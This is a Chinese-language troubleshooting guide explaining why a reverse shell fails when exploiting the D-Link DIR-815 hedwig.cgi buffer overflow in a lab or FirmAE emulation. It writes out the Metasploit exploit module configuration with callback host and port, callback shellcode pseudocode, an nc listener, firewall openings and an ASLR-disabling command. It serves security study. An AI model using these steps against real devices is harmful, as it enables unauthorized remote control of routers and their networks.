利用 dir815 漏洞反弹 shell 失败的原因是什么?

文章导读
先说结论:DIR-815 漏洞反弹 shell 失败,核心原因通常是监听端口与利用脚本配置的回调端口(LPORT)不一致,其次是网络通路受阻或防火墙拦截。
📋 目录
  1. 核心原因分析
  2. 实操排查步骤
  3. 调试模式与利用模式的区别
  4. 验证是否生效
  5. 常见坑与解决方案
  6. 参考来源
A A
⚠️ 安全与法律声明:本文内容仅供网络安全研究与教育目的,仅限在合法授权的环境(如本地实验室、自有设备)中进行测试。未经授权使用漏洞利用技术攻击他人网络属于违法行为,后果自负。

先说结论:DIR-815 漏洞反弹 shell 失败,核心原因通常是监听端口与利用脚本配置的回调端口(LPORT)不一致,其次是网络通路受阻或防火墙拦截。

  • 优先检查 nc 监听端口是否与 Exploit 脚本中的 LPORT 完全匹配
  • 确认攻击机 IP(LHOST)与目标设备网络可达
  • 排查宿主机防火墙是否放行监听端口
  • 区分漏洞利用场景与动态调试场景(GDBserver 非必需)

核心原因分析

反弹 shell 的本质是目标设备主动连接攻击机。在 DIR-815 漏洞利用链中,即使栈溢出触发成功,如果网络回连环节配置错误,依然无法获取会话。主要故障点如下:

  1. 端口不匹配:攻击机监听端口必须与漏洞利用脚本(Exploit)中指定的回调端口一致,而非 GDBserver 端口(除非是在调试崩溃点)。
  2. 网络不可达:仿真环境(如 FirmAE)与攻击机不在同一网段,或 NAT 模式未配置端口转发。
  3. 防火墙拦截:宿主机防火墙(ufw/iptables)默认阻止非常用端口的入站流量。
  4. 地址随机化:部分仿真环境开启了 ASLR,导致 payload 地址偏移失效。

实操排查步骤

步骤一:配置漏洞利用脚本参数

在使用 Metasploit 或 Python 脚本进行利用时,必须正确设置回调地址。以 Metasploit 为例:

msf6 > use exploit/linux/http/dir815_hedwig_bof
msf6 > set RHOSTS <目标 IP>
msf6 > set LHOST <攻击机 IP>
msf6 > set LPORT 6666
msf6 > exploit

若使用 Python 脚本,检查代码中的 callback 部分:

# 示例伪代码
LHOST = "192.168.1.100"  # 确保这是攻击机可达 IP
LPORT = 6666             # 确保与 nc 监听一致
payload = generate_shellcode(LHOST, LPORT)

步骤二:启动监听器

在攻击机上启动监听,端口必须与上述 LPORT 一致:

利用 dir815 漏洞反弹 shell 失败的原因是什么?
nc -lvnp 6666

如果使用 Metasploit,它会自动处理监听,无需单独运行 nc。

步骤三:验证网络连通性

在仿真环境或目标设备中 ping 攻击机 IP,确认路由可达。如果是 FirmAE 仿真,默认可能是 NAT 模式,需切换到桥接模式或配置端口转发:

# 宿主机检查端口监听状态
sudo lsof -i -P -n | grep LISTEN
# 若端口被占用,清理进程
sudo kill -9 <PID>

步骤四:检查防火墙规则

确保宿主机防火墙放行监听端口:

利用 dir815 漏洞反弹 shell 失败的原因是什么?
sudo ufw allow 6666/tcp
sudo iptables -L -n | grep 6666

调试模式与利用模式的区别

很多用户混淆了漏洞利用(Exploit)动态调试(Debug)场景,导致排查方向错误。

  • 漏洞利用:目标是获取 shell。关键在于 Payload 中的回调端口与攻击机监听端口一致。不需要启动 GDBserver。
  • 动态调试:目标是分析崩溃原因。需要启动 GDBserver 监听,配合 IDA 调试。此时 nc 反弹 shell 通常不适用,除非利用脚本专门设计了调试回调。

若确需调试崩溃点,GDBserver 启动命令如下(仅用于分析,非直接获取 shell):

/path/to/gdbserver `--multi` :6666 /htdocs/cgi-bin/hedwig.cgi

注意:此命令用于挂载调试服务,若用于反弹 shell 利用,请回归步骤一的 Exploit 配置。

验证是否生效

1. 监听端验证:运行 nc 后,触发漏洞。若终端显示连接信息(如 connect to [IP] from [IP]),说明网络通路正常。

2. 交互验证:连接成功后,尝试输入命令(如 iduname -a),若有回显则获取 shell 成功。

3. 仿真环境特殊配置:在 FirmAE 仿真环境中,若获取 shell 后命令执行异常,可尝试关闭地址随机化:

echo 0 > /proc/sys/kernel/randomize_va_space

常见坑与解决方案

  • 端口占用:多次运行脚本导致端口被占用,报错 "Address already in use"。解决:使用 lsof 查找并 kill 占用进程。
  • IP 配置错误:LHOST 填写了 127.0.0.1 或内网不可达 IP。解决:填写攻击机实际局域网 IP。
  • 架构不匹配:DIR-815 多为 MIPS 架构,Payload 需对应 MIPS shellcode,若使用 x86 payload 会导致崩溃而非反弹。
  • IDAPython 版本:使用 IDA 分析 MIPS 漏洞时,若 IDAPython 版本高于 3,部分旧插件需适配 python3 语法。

参考来源

  • CVE-2019-17506: D-Link DIR-815 Stack Buffer Overflow
  • GitHub - Exploit Database: D-Link DIR-815 Hedwig.cgi BoF
  • 先知社区:D-Link DIR815 路由器缓冲区溢出漏洞分析
  • FirmAE: Firmware Analysis and Emulation Framework Documentation